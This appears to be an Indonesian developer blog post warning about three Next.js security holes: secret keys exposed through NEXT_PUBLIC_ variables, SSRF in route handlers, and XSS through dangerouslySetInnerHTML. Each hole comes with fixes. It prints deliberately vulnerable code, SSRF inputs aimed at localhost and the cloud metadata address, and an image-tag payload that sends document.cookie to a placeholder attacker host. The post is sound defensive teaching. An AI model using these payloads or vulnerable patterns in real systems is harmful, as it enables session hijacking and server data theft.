Gue Kira Next.js Aman, Ternyata Gampang Kena Hack! 😱

Skenario Horor: Ketika API Key Database Lu Jadi Konsumsi Publik

Pernah gak sih lu begadang semalaman, bikin aplikasi pake Next.js, terus pas dideploy langsung ngerasa paling aman sedunia karena pakai framework beken bikinan Vercel? Sama, gua juga pernah se-naive itu, lur! Wkwk. Rasanya kayak udah pakai tameng anti-peluru, padahal mah tamengnya dari kardus sereal kalo kita gak paham cara pakenya dengan bener.

Banyak developer pemula (dan bahkan yang udah lumayan sepuh) mikir kalau Next.js itu secara out-of-the-box udah super aman dari serangan siber. Tapi faktanya, fleksibilitas Next.js yang menggabungkan dunia Client-Side dan Server-Side justru jadi bumerang kalau kita teledor. Sekali lu salah naruh variabel atau salah konfigurasi routing, kelar udah riwayat database lu dideface sama hacker iseng.

Celah 1: Bocornya Environment Variables (Tragedi NEXT_PUBLIC_)

Ini dia dosa paling umum yang sering banget dilakuin pas lagi mager baca dokumentasi. Next.js punya aturan main yang simpel tapi fatal kalau dilanggar. Semua variabel di file .env secara default sifatnya privat dan cuma bisa diakses di lingkungan server (kayak di getServerSideProps atau API Routes). Tapi, begitu lu tambahin prefix NEXT_PUBLIC_, variabel itu bakal di-bundle dan dikirim langsung ke browser user.

Bayangin lu mau nge-fetch data dari API pihak ketiga, terus lu bikin variabel kayak gini:

// JANGAN LAKUKAN INI UNTUK DATA SENSITIF!
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_test_51Nz...

Maksud hati pengen praktis biar bisa dipanggil di komponen React mana aja, eh malah kunci brankas lu disebarin gratis di source code browser. Hacker tinggal pencet F12, masuk ke tab Network atau Sources, dan boom! Mereka dapet akses penuh ke akun Stripe atau database lu. Gaskeun ilang itu duit klien!

Cara benernya gimana? Ya jangan pake prefix NEXT_PUBLIC_ untuk data sensitif. Kalau emang butuh data itu di sisi client, bikin API Route perantara (Route Handler) di Next.js yang bertugas ngelakuin request ke server pihak ketiga, jadi API key lu tetep aman ngumpet di server.

Celah 2: SSRF (Server-Side Request Forgery) di Route Handlers

Next.js sekarang udah pakai App Router yang makin powerful dengan Server Components dan Route Handlers. Tapi inget, karena kode ini jalan di server, dia punya privilese buat ngakses jaringan internal server lu. Di sinilah bahaya SSRF mengintai.

Misalnya lu bikin fitur buat nge-fetch metadata dari URL yang diinput sama user. Kodingannya kayak gini:

// app/api/fetch-url/route.js
export async function GET(request) {
  const { searchParams } = new URL(request.url);
  const targetUrl = searchParams.get('url');

  // Bahaya banget kalau gak divalidasi!
  const res = await fetch(targetUrl);
  const data = await res.json();

  return Response.json(data);
}

Sekilas kelihatan biasa aja, kan? Tapi gimana kalau hacker jahat masukin input kayak http://localhost:8080/admin/delete-database atau ngakses metadata AWS di http://169.254.169.254/latest/meta-data/? Karena server lu yang ngirim request, firewall bakal mikir itu request internal yang aman. Hasilnya? Data sensitif server lu bisa bocor atau bahkan ke-wipe bersih!

Solusinya, lu wajib validasi input URL dari user. Pake library sanitasi atau batasi IP/domain apa aja yang boleh di-fetch sama server lu. Jangan asal telan mentah-mentah apa yang diinput user, lur!

Celah 3: XSS (Cross-Site Scripting) Lewat dangerouslySetInnerHTML

React dan Next.js emang udah otomatis ngelindungin kita dari XSS dengan cara nge-escape string sebelum dirender ke HTML. Tapi, kadang kita sok ide dan ngerasa butuh ngerender HTML mentah dari user, misalnya buat fitur blog editor, pake fungsi sakti bernama dangerouslySetInnerHTML.

Nama fungsinya aja udah ada kata "dangerously", tapi masih banyak yang nekat pake tanpa proteksi tambahan. Contoh kodingan ngaco:

// Komponen rentan XSS
export default function CommentSection({ userComment }) {
  return (
    <div>
      <h3>Komentar Netizen:</h3>
      <div dangerouslySetInnerHTML={{ __html: userComment }} />
    </div>
  );
}

Kalau si user iseng ngirim komentar isinya tag script kayak <img src="x" onerror="fetch('http://hacker.com/steal?cookie=' + document.cookie)" />, maka setiap user lain yang buka halaman itu bakal otomatis ngirim cookie session mereka ke server hacker. Ngeri gak? Ngeri lah masa enggak!

Solusi paling gampang adalah selalu bersihin HTML input pake library sanitasi kayak dompurify (atau isomorphic-dompurify biar aman jalan di server-side Next.js) sebelum lu render ke layar.

Gimana Cara Mengamankan Aplikasi Next.js Kita?

Biar gak gampang kena retas, lu harus terapin beberapa kebiasaan baik ini pas ngoding Next.js:

• Gunakan package 'server-only': Pasang package ini di file-file utilitas server lu biar gak sengaja ke-import ke komponen client-side.
• Validasi Schema dengan Zod: Biasakan validasi semua input API, baik query params, body request, maupun environment variables pake Zod.
• Aktifkan Content Security Policy (CSP): Set up header keamanan yang ketat di file next.config.js atau middleware lu buat batesin script apa aja yang boleh jalan di web lu.

Nah, sekarang coba cek kodingan lu, yakin environment variable lu gak ada yang bocor ke client-side?

FAQ (Pertanyaan Umum)